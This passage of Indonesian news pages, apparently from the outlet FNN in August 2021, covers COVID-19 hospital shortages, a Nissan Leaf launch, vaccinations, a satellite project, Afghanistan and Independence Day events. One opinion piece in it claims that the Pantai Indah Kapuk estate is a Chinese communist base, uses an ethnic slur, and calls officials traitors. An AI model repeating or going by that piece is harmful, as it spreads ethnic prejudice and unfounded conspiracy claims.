yang memberikan senjata api rakitannya sehingga kami merasa terhormat atas kepercayaan masyarakat," ujarnya. Sementara itu, Kuyak mengatakan penyerahan senjata api rakitan itu dilakukannya secara sukarela dan tanpa paksaan dari siapapun sebagai bentuk ucapan terima kasih atas peran Satgas Pamtas yang telah mengobati orang tuanya dan juga melihat peran Satgas Pamtas yang aktif selalu membantu warga di Dusun Segumun, Desa Lubuk Sabuk. "Penyerahan senjata api rakitan ini sebagai bentuk hadiah kami kepada Satgas Pamtas pada HUT ke-76 RI, dan semoga hal ini dapat diikuti oleh warga lainnya yang masih menyimpan senjata api rakitan karena sangat berbahaya apabila disimpan di rumah," ujar Kuyak. (mth)

Komisi A DPRD Palu Minta Masalah RSU Anutapura Segera Diatasi

Palu, FNN - Ketua Komisi A Dewan Perwakilan Rakyat Daerah (DPRD) Kota Palu Mutmainnah Korona meminta Pemerintah Kota Palu segera mengatasi masalah yang dihadapi oleh Rumah Sakit Umum (RSU) Anutapura dalam menangani pasien COVID-19. Setelah meninjau RSU Anutapura Palu pada Senin (16/7) dan mendengar keluhan dari pengelola rumah sakit dan tenaga kesehatan yang bertugas menangani pasien COVID-19 di sana, Mutmainnah mengatakan bahwa ada tiga masalah yang harus segera diatasi supaya tidak sampai berakibat fatal bagi keselamatan pasien COVID-19. "Ada tiga persoalan yang harus segera diatasi, di antaranya menyangkut ketersediaan oksigen yang terbatas, obat-obatan untuk mengobati pasien COVID-19, dan ruang perawatan," katanya di Palu, Rabu. Dia menekankan pentingnya pemerintah kota segera mengatasi masalah keterbatasan ketersediaan oksigen untuk penanganan pasien COVID-19 di RSU Anutapura. "Pemkot Palu sudah harus mencari solusi agar mendapat intervensi dari pemerintah pusat. Oksigen dalam tabung besar saja hanya bisa digunakan selama tiga jam. Bahkan ada pasien COVID-19 yang meninggal dunia karena lambat mendapat suplai oksigen karena stok oksigen saat itu kosong,” katanya. Ia juga mengemukakan kebutuhan untuk menyediakan tambahan ruang perawatan pasien di RSU Anutapura, yang selain menangani pasien COVID-19 juga menyelenggarakan pelayanan kesehatan bagi masyarakat umum. "Kalau berharap tenda darurat, lokasinya rawan banjir, jadi memang perlu ada formulasi tepat untuk ruangan ini karena di sini ada juga masyarakat umum yang mau berobat,” katanya. Mutmainnah menambahkan bahwa hal yang tidak kalah penting adalah penyediaan ruangan bersalin bagi pasien COVID-19. “Pelayanan ibu hamil dan melahirkan harus disiapkan ruang yang memenuhi syarat persalinan," katanya. (mth)

Pemerintah Tak Ragu Tindak Pengganggu Upaya Penanganan Pandemi

Jakarta, FNN - Tenaga Ahli Utama Kedeputian V Kantor Staf Presiden (KSP) Rumadi Ahmad ​​​​​​menyatakan pemerintah tak akan ragu untuk menindak pihak-pihak yang berusaha mengganggu upaya penanganan pandemi COVID-19. Rumadi di Jakarta, Rabu, mengatakan upaya pemerintah untuk menangani dampak kesehatan dan juga dampak ekonomi dari pandemi COVID-19 merupakan implementasi dari misi kemanusiaan dan misi kebangsaan untuk memastikan masyarakat Indonesia terlindungi. "Seluruh kebijakan pemerintah baik terkait dengan aspek kesehatan maupun menjaga daya tahan ekonomi masyarakat merupakan penerjemahan dari misi kemanusiaan dan kebangsaan," kata Rumadi melalui keterangan tertulis. Dalam mengusung misi kemanusiaan dan kebangsaan itu, kata Rumadi, pemerintah melakukan banyak sekali perubahan, baik dari aspek regulasi maupun birokrasi. Maka itu, ia menekankan pemerintah tak pernah ragu untuk menindak siapapun yang mengganggu misi kemanusiaan dan kebangsaan tersebut. Bentuk gangguan itu seperti berita bohong yang mengadu domba masyarakat, atau tindakan korupsi terhadap bantuan sosial bagi masyarakat terdampak pandemi COVID-19. Penjelasan Rumadi tersebut juga sesuai dengan salah satu substansi di Pidato Kenegaraan Presiden Joko Widodo (Jokowi) saat Sidang Tahunan MPR 2021 di Jakarta, Senin (16/8). Presiden menyampaikan tidak ada toleransi sedikit pun terhadap siapa pun yang mempermainkan misi kemanusiaan dan kebangsaan ini. Pemerintah, kata Presiden, juga telah bekerja keras mengerahkan semua sumber daya untuk memastikan pasokan vaksin COVID-19. Namun, pada saat yang sama, Indonesia juga terus memperjuangkan kesetaraan akses vaksin untuk semua bangsa. "Sebab, perang melawan COVID-19 tidak akan berhasil jika ketidakadilan akses terhadap vaksin masih terjadi," kata Presiden Jokowi, Senin lalu. Presiden Jokowi juga menyampaikan diplomasi vaksin menunjukkan peran aktif Indonesia untuk ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi, dan keadilan sosial. (mth)

Lemak Berlebihan Bisa Perparah Gejala COVID-19

Jakarta, FNN - Asupan lemak terutama yang sifatnya jenuh berlebihan bisa memperparah gejala COVID-19 yang dialami pasien, ungkap dokter spesialis gizi klinik dari PPSI Ilmu Gizi Klinik Universitas Indonesia, dr. Juwalita Surapsari, M.Gizi, Sp.GK. "Konsumsi banyak lemak terutama lemak jenuh akan bisa menyebabkan kondisi peradangan lebih berat akhirnya yang mungkin keluhannya ringan tetapi karena konsumsi yang salah, akhirnya menjadi lebih berat gejalanya," ujar dia dalam webinar bertajuk "Bahaya Salah Asupan Saat Pandemi dan Isoman", Rabu. Juwalita mengatakan, asupan tinggi lemak mempengaruhi reseptor tempat melekatnya virus SARS-CoV-2 atau ACE-2 sehingga membuatnya lebih mudah dimasuki virus. Lebih lanjut, salah satu jenis lemak, yakni yang sifatnya jenuh bisa meningkatkan pengeluaran mediator yang sifatnya inflamasi dari sel imun. Akhirnya bila, inflamasi terjadi semakin berat maka ini akan memperparah gejala COVID-19 pasien. Di sisi lain, diet tinggi lemak juga mempengaruhi kondisi bakteri baik dalam usus, menyebabkan terjadinya peradangan menyeluruh yang akhirnya menurunkan sistem imun tubuh. "Mikrobiota di dalam tubuh ini punya manfaat luar biasa, tidak hanya menjaga kesehatan saluran cerna juga berdampak pada sistem imunitas tubuh karena membantu mengaktivitasi sel-sel imun tubuh, meskipun kelihatannya hanya di usus," tutur Juwalita. Lemak sendiri termasuk salah satu komponen yang perlu seseorang batasi bila ingin mendapatkan kondisi tubuh sehat termasuk respon imun yang baik. Kementerian Kesehatan menganjurkan konsumsi lemak 20-25 persen dari total energi (702 kkal) atau setara dengan 5 sendok makan per orang per hari (67 gram). Lalu, pola makana seperti apa yang dianjurkan untuk para pasien COVID-19 termasuk yang sedang menjalani isolasi mandiri? Juwalita menyerankan diet bergizi seimbang, seperti anjuran Organisasi Kesehatan Dunia (WHO) yakni konsumsi makanan segar dan minim olahan supaya untuk mendapatkan berbagai nutrisi yang dibutuhkan mencakup vitamin mineral, serat makanan, protein dan antioksidan demi pemulihan lebih baik dan cepat. "Karbohidrat misalnya dari beras merah, beras cokelat, umbi-umbian. Protein bisa dari makanan segar seperti seafood (ikan, udang), ayam tanpa kulit, daging sapi, kacang-kacangan seperti kedelai, almond. Ingat kita butuh magnesium, selenium, mikronutrien untuk bisa menyempurnakan diet sehat kita," demikian kata Juwalita. (mth)

Spesifikasi All New Nissan Leaf Indonesia

Jakarta, FNN - PT Nissan Motor Distribution Indonesia (NMDI) baru saja meluncurkan kendaraan listrik yang akan dipasarkan di Indonesia, yakni The All New Nissan Leaf. Kendaraan ramah lingkungan ini sebenarnya sudah lama diperkenalkan di Indonesia. "Kendaraan ramah lingkungan ini hadir untuk mendukung program pemerintah melalui PP NO 74 yang mengatur kendaraan listrik. Kami berpendapat, ini waktu yang tepat untuk Nissan luncurkan The All New Nissan Leaf di Indonesia," ungkap Presiden Direktur, PT Nissan Motor Distributor Indonesia, Evensius Go pada saat peluncuran The All New Nissan Leaf, Rabu. The All New Nissan Leaf dibekali baterai lithium-ion 40 kWh yang memungkinkan The All-New Nissan LEAF dapat menempuh jarak sejauh 311 km dalam sekali pengisian daya (charging) berdasarkan hasil test New European Driving Cycle (NEDC). "Hal ini setara dengan penggunaan rata-rata harian 40 km selama satu minggu, hanya dengan satu kali pengisian penuh. Kami juga sudah mempersiapkan untuk konsumen kami charging portable yang sudah tersedia di dalam kendaraan, jadi berkendara lebih nyaman menggunakan Nissan Leaf ini," kata dia. Baterai diklaim hasil pengembangan sendiri yang diuji secara ketat dan telah membuktikan keandalan yang luar biasa. Selama masa pengujian, Nissan tidak menemukan masalah yang serius yang terjadi pada baterai dari total 10 miliar kilometer jarak yang ditempuh Nissan Leaf yang telah terjual di seluruh dunia. Dalam hal ini, Nissan juga sudah menguji The All-New Nissan Leaf dengan berbagai pengujian kualitas dan ketahanan yang paling ketat, termasuk uji banjir dan uji petir. "Nissan Leaf yang sebelumnya menggunakan Charging Tipe 1, dan model sekarang yang barus aja diluncurkan ini sudah menggunakan Tipe 2 dan memiliki berbagai keuntungan. Tipe 2 ini sudah lebih umum digunakan secara global dan SPKLU juga sudah menggunakan tipe ini," kata Nissan Representative Director, Bagus Susanto. Untuk masa pengisian baterai The All New Nissan Leaf, kendaraan ramah lingkungan ini dapat diisi dengan pengisi daya Portable (3.3 Kw ), yang memungkinkan baterai dapat terisi penuh dalam waktu 12 hingga 15 jam, atau menggunakan pengisi daya Home Charger (AC 7.4 kw) yang dapat mengisi penuh baterai dalam waktu 5 hingga 7 jam. Menurut catatan yang diberikan Oleh NMDI, The All New Nissan Leaf ini sanggup berlari dari 0 – 100 km/jam hanya dalam 7,9 detik dengan kecepatan maksimal 155 km/jam. Sedangkan kendaraan ini juga memiliki tenaga maksimum hingga 110 kW atau setara dengan 150 PS dan torsi maksimum 320 Nm. The All New Nissan Leaf juga sudah menggunakan e-Pedal, yang memungkinkan pengemudi memulai berkendara, akselerasi, deselerasi, dan berhenti menggunakan hanya satu pedal dengan menambah atau mengurangi tekanan pada pedal gas. "Pengemudi tinggal menaikkan atau menurunkan pedal saja untuk melaju, ngerem dan juga berhenti. Ketika akselerator dilepaskan sepenuhnya, rem regeneratif dan friksi akan bekerja secara otomatis, membuat mobil berhenti total. Jadi, semudah itu menggunakan kendaraan ini," jelas dia. Selain itu, kendaraan ini juga sudah dilengkapi dengan berbagai fasilitas dan juga fitur keamanan yang cukup lengkap untuk memberikan rasa aman dan nyaman bagi pengguna kendaraan ini. Fitur keselamatan tak lupa disematkan di kendaraan ini, seperti, Forward Collision Warning (FCW), Forward Emergency Braking (FEB), Intelligent Trace Control (ITC), Vehicle Dynamic Control (VDC), Hill Start Assist (HSA). Selain itu, terdapat juga Anti-Lock Braking System (ABS) with Brake Assist (BA), Intelligent Around View Monitor (I-AVM) with Moving Object Detection (MOD), Driver Attention Alert (DAA), Electronic Parking Brake (E-PKB). The All-New Nissan LEAF juga dilengkapi dengan Dual SRS Airbag, Side Airbag dan Curtain Airbag serta telah mendapatkan penghargaan peringkat keselamatan bintang 5 maksimum pada JNCAP (Japan New Car Assessment Program), Euro NCAP, Australia ANCAP dan US NHTSA (National Highway Traffic Safety Administration). Pada bagian luar, kendaraan ini hadir dengan tampilan yang tajam, dinamis dan aerodinamis. Pada bagian depan, kendaraan ini dilengkapi dengan grille V-motion Nissan yang khas bernuansa warna biru jernih menjadi ciri utama The All-New Nissan LEAF bersama dengan lampu utama berbentuk boomerang di bagian depan dan belakang. Sedangkan pada bagian dalam, kendaraan ini hadir dengan setir Flat-Bottom Sporty berlapis kulit dan dilengkapi tombol multifungsi. Panel instrument dengan layar 7 inci serta kursi berlapis Kulit Alcantara yang mewah memberikan suasana ruang kabin yang senyap dan membuat ruang kabin semakin premium. Untuk sistem infotainment, mobil ini mengusung headunit layar sentuh 8 inci, termasuk dengan koneksi Bluetooth, Voice Command, dan dapat terhubung dengan ponsel pintar melalui Apple CarPlay dan Android Auto. The All-New Nissan Leaf ditawarkan dengan harga Rp649 Juta untuk opsi one tone dan Rp651 Juta untuk opsi dual tone semua harga sudah dalam kategori on the road Jakarta. Selain itu, konsumen juga akan mendapatkan garansi kendaraan selama 3 tahun atau 100.000 km, garansi untuk baterai selama 8 tahun atau 160.000 km serta bebas biaya perawatan selama 5 tahun atau 70.000 km. (mth)

Sebanyak 745 Tenaga Kesehatan di Muna Barat Akan Dapat Vaksinasi Dosis Ketiga

Kendari, FNN - Dinas Kesehatan Kabupaten Muna Barat di Provinsi Sulawesi Tenggara bersiap melaksanakan vaksinasi COVID-19 dosis ketiga pada 745 tenaga kesehatan di wilayah kerjanya. "Jumlah tenaga kesehatan yang akan disuntik dosis ketiga sebanyak 745 orang, dan stok vaksin kita ada 41 vial jenis Moderna," kata Kepala Dinas Kesehatan Muna Barat La Ode Muhammad Ishar Masiala ketika dihubungi melalui aplikasi WhatsApp dari Kendari, Rabu. Ia menyampaikan, penyuntikan vaksin COVID-19 dosis ketiga pada tenaga kesehatan rencananya dilakukan pada Agustus 2021. "Untuk jadwal pastinya menyusul," katanya. Menurut dia, seluruh tenaga kesehatan di Muna Barat sudah mendapat suntikan dosis pertama vaksin COVID-19 dan 90 persen di antaranya sudah mendapat suntikan dua dosis vaksin COVID-19. Dinas Kesehatan, ia mengatakan, saat ini masih menyosialisasikan rencana pelaksanaan vaksinasi dosis ketiga menggunakan vaksin COVID-19 buatan Moderna pada tenaga kesehatan. Menurut dia, sosialisasi pelaksanaan vaksinasi dosis ketiga baru dilakukan pada kepala puskesmas dan tim vaksinasi. "Kami tinggal menunggu laporan dari puskesmas terkait tindak lanjut sosialisasi di puskesmas masing-masing. Jika sudah selesai disosialisasikan akan dibuat jadwal pelaksanaan vaksin tahap ketiga," katanya. Ishar mengatakan penyuntikan vaksin COVID-19 dosis ketiga pada tenaga kesehatan akan dilakukan di 15 puskesmas dan rumah sakit umum daerah. Vaksinasi COVID-19 dosis ketiga pada tenaga kesehatan ditujukan untuk memperkuat daya tahan tubuh mereka terhadap infeksi virus corona dan variannya. (mth)

LIPI Ciptakan Ekosistem Ramah Riset dan Inovasi dengan Strategi SIAP

Jakarta, FNN - Pelaksana harian Kepala Lembaga Ilmu Pengetahuan Indonesia (LIPI) Agus Haryono mengatakan pihaknya berupaya menciptakan ekosistem yang ramah riset dan inovasi dengan strategi SIAP sehingga menghasilkan produk berdaya saing. "Dalam pembenahan ekosistem riset dan inovasi, pola transformasi SIAP yang sedang dilaksanakan di LIPI mencakup sumber daya manusia (SDM) unggul, infrastruktur riset maju, anggaran riset efektif, dan peraturan/regulasi ekosistem inovasi," kata Agus dalam Webinar Riset dan Inovasi untuk Merah Putih di Jakarta, Rabu Lebih lanjut mengatakan kalau transformasi memperbaiki SIAP tersebut berjalan dengan baik niscaya ekosistem riset dan inovasi bisa bergulir berjalan menghasilkan inovasi-inovasi yang bisa dimanfaatkan untuk masyarakat. Agus menuturkan SDM merupakan komponen paling penting dalam ekosistem ramah riset dan inovasi, dengan proporsi 75 persen. Sementara infrastruktur riset mengambil porsi 15 persen dan anggaran riset sebesar 10 persen. Oleh karenanya, LIPI berkomitmen untuk meningkatkan kualitas sumber daya manusia (SDM) di lingkungan LIPI dengan program SDM Unggul, Diaspora Indonesia, dan Manajemen Talenta. "Mengapa SDM paling penting? Karena kita menyakini bahwa komponen terbesar pengungkit di dalam ekosistem ramah inovasi ini adalah SDM-nya," ujar Agus. Tanpa SDM yang berkualitas dan unggul, maka infrastruktur dan anggaran riset yang ada tidak akan bisa termanfaatkan dengan optimal untuk memberikan lompatan kemajuan pada riset dan inovasi Indonesia. Selain itu, untuk memperluas akses dan memperbesar peluang kolaborasi penelitian, LIPI melakukan program kolaborasi internasional dan infrastruktur riset terbuka. LIPI juga melakukan penguatan inovasi teknologi tepat guna serta peluang kerja sama dengan sektor industri. Di samping itu, Indonesia membutuhkan representatif di tingkat nasional maupun internasional yang menyuarakan perkembangan riset dan inovasi, juga menciptakan kemungkinan berkolaborasi. Assistant Professor of Chemical and Environmental Engineering di University of Nottingham, Inggris, yang berafiliasi gabungan dengan Virginia Tech, Amerika Serikat, Bagus Muljadi, mengatakan pendidikan luar negeri sangat menghargai peneliti atau ilmuwan yang memiliki pengalaman dan pengetahuan interdisipliner karena biasanya mereka mempunyai pengalaman dalam menghadapi permasalahan. (mth)

Sesmenko Harap Satelit Multifungsi Satria Tumbuhkan Pusat Ekonomi Baru

Jakarta, FNN - Sekretaris Kementerian Koordinator Bidang Perekonomian (Sesmenko) Susiwijono Moegiarso berharap keberadaan satelit multifungsi nasional pertama yakni Satelit Republik Indonesia (Satria) akan mendorong munculnya berbagai pusat-pusat ekonomi baru di seluruh wilayah Indonesia. “Keberadaan satelit ini diharapkan akan mampu mendorong pemerataan akses internet bagi seluruh Indonesia yang pada akhirnya akan bisa mendorong munculnya berbagai aktivitas kegiatan dan pusat-pusat ekonomi baru di seluruh wilayah Indonesia,” kata Susiwijono saat Ground Breaking Ceremony Stasiun Bumi Proyek KPBU Satelit Multifunsi Pemerintah secara daring, Rabu. Susiwijono menyampaikan pada masa pandemi COVID-19 ini keberadaan infrastruktur digital menjadi semakin penting untuk menunjang berbagai aktivitas sehari-hari. Sektor telematika juga selalu konsisten tumbuh positif walaupun pada kuartal II 2021 turun menjadi 6,87 persen dari yang sebelum double digit. Proyek Satria yang diselenggarakan melalui skema Kerjasama Pemerintah dengan Badan Usaha (KPBU), lanjutnya, sejalan dengan cita-cita pemerintah mewujudkan pemerataan akses informasi dan infrastruktur di Tanah Air, serta meningkatkan kualitas pelayanan publik melalui pemetaan konektivitas di seluruh Indonesia khususnya di daerah 3T (Terdepan Terpencil dan Tertinggal) serta di daerah-daerah perbatasan. “Melalui proyek strategis satria ini, diharapkan seluruh layanan publik, layanan pendidikan, fasilitas kesehatan, administrasi, pertahanan keamanan serta seluruh pelayanan publik di daerah di seluruh wilayah Indonesia sudah dapat terkoneksi melalui internet,” ujar Susiwijono. Lebih lanjut ia menyampaikan dampak positif keberadaan Satria terhadap perekonomian juga akan berdampak signifikan melalui peningkatan jaringan telekomunikasi, online link UKM transactional center, berbagai proses e-office dan berbagai layanan publik lainnya. “Seyogyanya setiap kementerian teknis dan lembaga terkait juga para pemerintah daerah perlu terus meningkatkan koordinasi dan integrasi terutama di dalam menyelesaikan berbagai isu teknis dan permasalahan operasional sehingga semua bisa disinergikan dan juga mendukung sepenuhnya operasi dari satelit Satria ini,” ujar dia. Adapun proyek satelit multifungsi Satria tercantum di dalam PP 109 tahun 2020 mengenai Proyek Starategis Nasional. Kementerian Komunikasi dan Informatika dan Badan Aksesibilitas Komunikasi dan Informasi (BAKTI) bertindak sebagai penanggung jawab proyek kerja sama, PT Satelit Nusantara Tiga sebagai badan usaha pelaksana. Lalu, PT Surveyor Indonesia sebagai konsultan pengawas independen dan PT Penjamin Infrastruktur Indonesia sebagai penjamin infrastruktur. Proyek Satelit Satria mulai dipersiapkan sejak 2017 dan penandatangan kerja sama dilakukan pada Mei 2019. Peluncuran satelit ditargetkan pada kuartal II 2023 dan pada 17 November 2023 dapat beroperasi secara komersial. (mth)

Erick Thohir Tegaskan Akan Turun Layani dan Bantu Pasien yang Isoman

Jakarta, FNN - Menteri BUMN Erick Thohir menegaskan akan turun untuk menemani, melayani dan membantu para pasien yang menjalani isolasi mandiri atau isoman. "Saya akan turun, untuk menemani, melayani, dan membantu para pasien isoman," ujar Erick Thohir seperti dikutip dari akun resmi Instagram @erickthohir di Jakarta, Rabu. Menurut Erick Thohir, masyarakat Indonesia tidak boleh dibiarkan sendirian dalam menghadapi kondisi pandemi COVID-19 yang sedang melanda Tanah Air. Erick mengatakan bahwa Relawan Anak Bangsa merupakan bentuk dari semangat gotong royong rakyat Indonesia, yang di-support juga oleh Pemerintah dan BUMN. Apresiasi khusus untuk 37 perusahaan yang tergabung membentuk Relawan Anak Bangsa, yang selama ini sudah mengambil peran membantu warga sejak awal pandemic. Semangat gotong royong inilah yang membuat kolaborasi Relawan Anak Bangsa x Relawan Berakhlak bisa berjalan dengan baik. Mendistribusikan paket bantuan untuk para pasien isoman. Menteri BUMN melihat langsung proses distribusi dan penyimpanan bantuannya pekan lalu, Alhamdulillah, luar biasa sekali. Erick Thohir juga berterima kasih kepada teman-teman pengusaha yang mau bergerak bersama dirinya, ikut bantu pasien isoman. Menteri BUMN mendoakan agar Tuhan membalas kebaikan yang dilakukan oleh mereka. "Saya percaya masih banyak orang baik di negeri ini yang bersikap saling peduli, dan ringan tangan untuk saling membantu. Semoga Allah SWT membalas kebaikan kita semua, Aamin Ya Rabbal Alamin," kata Erick. "Selalu jaga kesehatan. Semoga Anda tidak merasa sendirian. Bersama-sama, kita lewati pandemi ini," tambahnya. Sebelumnya Menteri BUMN Erick Thohir berkomitmen untuk membantu sepenuhnya gerakan kemanusiaan yang menyalurkan bantuan bagi warga yang sedang menjalani isolasi mandiri (isoman). Menteri BUMN tersebut kemudian mendorong agar perusahaan-perusahaan BUMN bisa segera berkolaborasi dengan daerah lainnya juga dalam menyediakan bantuan termasuk makanan sehat, obat, vitamin, dan lain-lain, untuk masyarakat yang membutuhkan. Erick Thohir memastikan perusahaan-perusahaan BUMN akan turun membantu gerakan-gerakan kemanusiaan untuk membantu masyarakat seperti yang diinisiasi Forum Bandung BerAKHLAK pada masa pandemi COVID-19. (mth)

DJP Selenggarakan IT Summit 2021

Jakarta, FNN - Direktorat Jenderal Pajak (DJP) Kementerian Keuangan (Kemenkeu) menyelenggarakan DJP IT Summit 2021 sebagai bentuk respons DJP sebagai organisasi yang adaptif terhadap perubahan. Kegiatan tersebut mengambil tema artificial intelligent and data analytics atau kecerdasan sistem dan analitik data yang bertujuan untuk menyemarakkan Hari Kemerdekaan Indonesia ke-76 dan merupakan salah satu rangkaian Hari Pajak 2021. "Kegiatan ini diharapkan memberikan sumbangsih yang besar bagi perkembangan teknologi dan informasi, khususnya dalam usaha pengumpulan pajak demi kemajuan Indonesia," kata Direktur Jenderal Pajak Suryo Utomo dalam acara DJP IT Summit 2021 secara daring di Jakarta, Rabu. Menurut dia, acara IT Summit merupakan yang pertama kali diselenggarakan DJP, sehingga kegiatan positif tersebut diharapkan bisa terus digelar pada masa-masa yang akan datang. DJP IT Summit 2021 memiliki tiga agenda, yaitu lomba IT dengan nama Hackathon, pameran teknologi virtual, dan simposium virtual. Suryo menjelaskan Hackathon bertujuan untuk meningkatkan kreativitas, sekaligus sarana aktualisasi bagi pengembang artificial intelligent dan data analitics dalam membantu optimalisasi administrasi perpajakan. Acara tersebut telah diselenggarakan pada 5 Juli 2021 sampai dengan 17 Agustus 2021, yang diikuti oleh 214 pendaftar dengan 26 peserta yang lolos tahap final dan pemenangnya sudah diumumkan pada 17 Agustus 2021. Kemudian, pameran teknologi virtual akan diselenggarakan mulai 18-31 Agustus 2021 dan akan diikuti 25 peserta mulai dari Kementerian Keuangan (Kemenkeu), BUMN, akademik, dan swasta termasuk mitra pajak. Sementara, ia melanjutkan, simposium secara daring akan dilakukan pada 18-20 Agustus 2021, yang diikuti 16 peserta, antara lain online pajak, PT Telekomunikasi Seluler, PT Bukalapak.com, dan Universitas Gunadarma. (mth)

Wapres Afghaninstan Tunjuk Dirinya Jadi Presiden Sementara

Kabul, FNN - Wakil Presiden Afghanistan Amrullah Saleh pada mengatakan, dirinya masih berada di Afghanistan. Ia menyebutkan dirinya menjadi "presiden sementara yang sah" setelah Presiden Ashraf Ghani meninggalkan negara itu saat kelompok Taliban merebut ibu kota Kabul. Saleh mengatakan dalam pertemuan keamanan yang dipimpin Ghani pekan lalu, ia bangga pada pasukan bersenjata dan pemerintah akan melakukan segala upaya untuk memperkuat perlawanan terhadap Taliban. Akan tetapi, Afghanistan jatuh ke tangan Taliban dalam hitungan hari, bukan hitungan bulan yang diprediksikan oleh intelijen AS. Dalam sederet cuitan pada Selasa, Saleh (17/8) mengatakan, "sia-sia" berdebat dengan Presiden AS Joe Biden yang telah memutuskan menarik pasukan AS. Ia meminta rakyat negeri itu membuktikan, Afghanistan "bukan Vietnam dan Taliban bahkan tidak seperti Vietcong." Sebuah video warga Afghanistan yang putus asa dan berupaya naik ke pesawat militer AS saat hendak lepas landas mengingatkan kembali pada sebuah foto di tahun 1975. Pada masa itu sejumlah orang berusaha naik ke helikopter di Saigon ketika AS menarik pasukannya dari Vietnam. Saleh menuturkan, tidak seperti AS dan NATO "kami tidak kehilangan semangat dan melihat peluang besar di depan. Peringatan omong kosong sudah tamat, BERGABUNGLAH DALAM PERLAWANAN." Sebagaimana dikutip dari Antara, Saleh, yang keberadaannya tidak diketahui menegaskan, ia tidak akan "tunduk dalam keadaan apa pun" kepada "teroris Taliban". Menurutnya, ia "tidak akan pernah berkhianat" pada Ahmad Shah Massoud, pemimpin Aliansi Utara yang dibunuh oleh dua anggota al Qaida sebelum serangan 11 September 2001 di AS. (MD).

PIK, Perumahan Inti Komunis

Oleh Sugengwaras MEMANG sederet perumahan di Pantai Indah Kapuk (PIK) telah dihuni oleh keturunan asing, aseng, Cina, karena sengaja dibuat harga yang tidak akan terjangkau untuk dibeli orang pribumi kebanyakan. Untuk ini kita boleh menduga, perumahan itu dijadikan basis pergerakan komunis Cina, karena memang tempat dan sistem keamanannya sangat strategis yang bisa menghubungkan dengan pusat pemerintahan, pelabuhan laut, bandara dan jalur-jalur tranportasi darat, laut dan udara, yang sangat fleksibel dan aman. Sesungguhnya kita tidak bisa menggeneralisir bahwa orang orang Cina yang berada dan tinggal di Indonesia menjadi biangkerok dan penghambat kemajuan bangsa Indonesia. Bahkan bisa terbalik, bahwa kita boleh meniru keuletan, ketangguhan, dan kecerdasan dalam memperjuangkan kelangsungan hidup. Sementara ditinjau dari proses kelahiran, keberadaan dan niatnya, bangsa dan keturunan Cina di Indonesia bisa digolongkan, lama, sedang dan baru. Adapun profesinya, murni menjalankan kelangsungan hidup terutama dengan cara berdagang, menempuh keahlian / profesi bebagai bidang, namun ada memang yang menjalankan tugas negaranya. Yang ketiga inilah yang patut kita waspadai, karena mereka bisa berbuat meluluhlantakkan NKRI ini. Dari pengalaman era Pak Harto, yang pernah membesarkan dan memanjakan pengusaha Cina, di luar dugaan mereka dengan terang-terangan membalas air susu dibalas dengan air toba. Artinya Pak Harto yang berharap mereka bisa menjalin kerja sama dengan pengusaha pengusaha hitam Indonesia, ternyata berbalik 180 °, yang menolak mentah mentah permintaan Pak Harto agar mereka menyisihkan 1 - 2,5 % dari keuntungan bersihnya untuk mensubsidi pengusaha pribumi. Bangsaku adalah bangsaku, bangsamu adalah bangsamu. inilah tepatnya adagium dibenak mereka. Nasi sudah menjadi bubur Dengan kelihaian mereka, sampai sampai tidak sadar bahwa para pejabat kita sejak pangkat/jabatan terendah sampai tertinggi telah dibina dan ditemani dengan sebaik baiknya dan serapi rapinya. Dan inilah kelemahan mendasar bangsa kita, yang selanjutnya para pejabat itu berpotensi menjadii pelopor pengkianat bangsa. Jadi tidak usah heran, jika seorang pejabat akan pindah mutasi atau promosi jabatan, para Cina ini lebih dahulu tahu dibanding anak buah sang pejabat itu sendiri. Jadi juga tidak usah gumun, dan tak perlu kaget, kenapa para kerucuk TNI POLRI yang didepan / lapangan lebih ganas dan sangar menghadapi lawannya di lapangan, karena mereka melaksanakan perintah tuan pejabat yang beresiko tinggi. Oleh karenanya, kejadian penghalauan atau larangan terhadap rencana pembentangan bendera Merah Putih di Jembatan PIK sepanjang 21 meter dengan alasan pembenaran / PPKM, adalah peristiwa yang bisa terjadi, yang menaikkan citra pejabat di mata sipit, sekaligus menambah keakraban dan kesejahteraanya. Sebagai mantan Prajurit, dada saya terasa mendidih melihat kejadian ini, begitu mudahnya, begitu hinanya bangsa dan simbol negara ini dipermainkan oleh konspirasi (kerjasama kejahatan negara) Saya boleh menuduh, inilah hasil konyol era rezim Jokowi, yang telah mendidik dan membawa bangsanya bak "Ayam Sayur." Bangsaku menjadi apatis, parno, acuh, masa bodoh melihat penyimpangan dan perselingkuhan negara yang terjadi. Nyali jadi kecut ketika melihat para tokohnya terus terus dibuly, ditangkap, ditahan, dianiaya dan dipenjara Padahal ini semua strategi untuk mencapai tujuan, melemahkan, memporak porandakan dan menghancurkan segala aspek kehidupan bangsa Indonesia. Saya berharap....bangsaku bangun, bangkit dan bangkit kembali, dengan cara cara yang elegan, yang berani dan bertanggung jawab, untuk menyelamatkan NKRI. Yakinlah, TNI POLRI tahu mana yang salah dan benar, mana yang tepat dan tidak tepat untuk kepentingan negara Kalau toh melihat sementara ini para pimpinan mereka bertindak lain, pahamilah seorang prajurit/ bhayangkara harus tunduk dan patuh pada perintah atasan/pimpinan, namun mereka bisa melawan atau tidak patuh dan tidak tunduk, manakala perintah itu merugikan dan membahayakan terhadap agama, bangsa dan negara. Dengan kata lain, para pimpinan stake holder janganlah bermimpi, bahwa perintah anda akan selamanya dikuti dan dilaksanakan oleh anak buah anda Wait and see....! Penulis Purnawirawan TNI AD.

Insiden Tali Bendera Putus Terjadi di Babel

Pangkalpinang, FNN - Insiden tali pengikat Bendera Merah Putih putus mewarnai upacara Hari Ulang Tahun Ke-76 Republik Indonesia di Provinsi Kepulauan Bangka Belitung (Babel), namun Bendera Merah Putih tetap dapat berkibar hingga upacara berlangsung. Berdasarkan pantauan di lapangan upacara Pemprov Kepulauan Babel, di Pangkalpinang, Selasa pagi, saat memasuki prosesi pengibaran bendera oleh pasukan pengibar bendera (paskibra) dan akan memulai membentangkan bendera, dengan tiba-tiba salah satu tali putus, sehingga prosesi pengibaran bendera tersebut terhenti sejenak. Insiden tali salah satu bendera terputus tersebut tidak berlangsung lama, karena petugas dengan cepat langsung memanjat tiang bendera untuk mengikatkan kembali tali bendera tersebut. Meski terjadi insiden tali pengikat bendera terputus tersebut, namun tidak mempengaruhi upacara bendera HUT Ke-76 RI yang diikuti seluruh Forkopimda Provinsi Kepulauan Babel itu yang berlangsung aman, lancar, dan khidmat. Gubernur Kepulauan Babel Erzaldi Rosman Djohan usai upacara HUT Ke-76 RI mengatakan pelaksanaan upacara 17 Agustus tahun ini penuh dengan khidmat dan diharapkan di seluruh Indonesia rasa bangga dan semangat kemerdekaan ini terus membara di setiap jiwa 